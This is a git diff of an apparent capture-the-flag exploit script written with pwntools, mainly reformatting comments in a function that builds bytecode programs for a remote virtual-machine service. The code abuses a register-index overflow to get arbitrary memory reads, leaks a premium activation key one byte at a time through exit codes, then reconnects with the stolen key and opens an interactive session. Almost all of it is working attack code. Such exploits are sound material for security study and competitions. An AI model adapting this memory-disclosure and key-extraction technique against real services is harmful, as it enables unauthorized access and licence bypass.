diff --git a/exploit/exploit.py b/exploit/exploit.py
index a526af0..85a1f1f 100755
--- a/exploit/exploit.py
+++ b/exploit/exploit.py
@@ -114,6 +114,7 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
     log.info(f"As char: {bytes([exit_code]).decode()}")
     return exit_code
 
+
 def extract_premium_key():
     offset_saved_rip_to_activation_key = 0x396d
 
@@ -122,21 +123,22 @@ def extract_premium_key():
     p = connect(b"", False)
     i = 0
     while i < 0x80:
-        program = instr_r(Opcode.ADD, Register.K, Register.A)  # arbitrary
-        program += instr_i(Opcode.LOADI, Register.A, 0x90909090)
-
-        program = load_rsp(Register.G)  # mov r8, rsp
-        program += instr_r(Opcode.ADD, Register.A,
-                           Register.G)  # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
-        program += arbitrary_read(Register.H, Register.C)  # add r9, [rcx]
-        program += instr_r(Opcode.ADD, Register.C,
-                           Register.H)  # mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9])
-        program += instr_i(Opcode.ADDI, Register.D,
-                           offset_saved_rip_to_activation_key + i)  # add rdx, offset_saved_rip_to_activation_key
-        program += arbitrary_read(Register.I, Register.D)  # add r10, [rdx]
-        program += instr_r(Opcode.ADD, Register.D,
-                           Register.I)  # mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10])
-        program += instr_r(Opcode.COPY, Register.A, Register.B)  # mov rax, rbx
+        # mov r8, rsp
+        program = load_rsp(Register.G)
+        # mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
+        program += instr_r(Opcode.ADD, Register.A, Register.G)
+        # add r9, [rcx]
+        program += arbitrary_read(Register.H, Register.C)
+        # mov rdx, r9 (rdx, because we again overflow the highest bit of register_id[r9])
+        program += instr_r(Opcode.ADD, Register.C, Register.H)
+        # add rdx, offset_saved_rip_to_activation_key
+        program += instr_i(Opcode.ADDI, Register.D, offset_saved_rip_to_activation_key + i)
+        # add r10, [rdx]
+        program += arbitrary_read(Register.I, Register.D)
+        # mov rbx, r10 (rbx, because we again overflow the highest bit of register_id[r10])
+        program += instr_r(Opcode.ADD, Register.D, Register.I)
+        # mov rax, rbx
+        program += instr_r(Opcode.COPY, Register.A, Register.B)
 
         exit_code = exec_program(p, program)
         if exit_code == 0:
@@ -149,9 +151,11 @@ def extract_premium_key():
     p.close()
     return premium_key
 
+
 context.log_level = 'warn'
 
 premium_key = extract_premium_key()
 
 p = connect(premium_key, True)
+
 p.interactive()